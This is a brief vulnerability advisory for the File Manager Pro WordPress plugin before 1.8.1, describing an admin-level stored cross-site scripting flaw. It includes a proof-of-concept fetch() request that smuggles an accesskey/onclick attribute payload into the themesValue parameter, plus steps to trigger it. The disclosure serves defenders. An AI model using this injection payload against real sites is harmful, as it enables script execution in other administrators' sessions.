File Manager Pro < 1.8.1 - Admin+ Stored Cross-Site Scripting

Description The plugin does not adequately validate and escape some inputs, leading to XSS by high-privilege users.

PoC

As an admin, open the File Manager and run the following JS code: fetch(“http://localhost:10008/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded; charset=UTF-8”, }, “body”: “action=selector_themes&themesValue;=dark-slim"+accesskey=X+onclick=alert(/XSS/)+"&nonce;=” + wpData.nonce, “method”: “POST”, “mode”: “cors”, “credentials”: “include” }); As a super-admin, open the File Manager and press the Access Key combination (Firefox for Windows/Linux the key combination is ALT+SHIFT+X and on OS X it is CTRL+ALT+X) to trigger the XSS.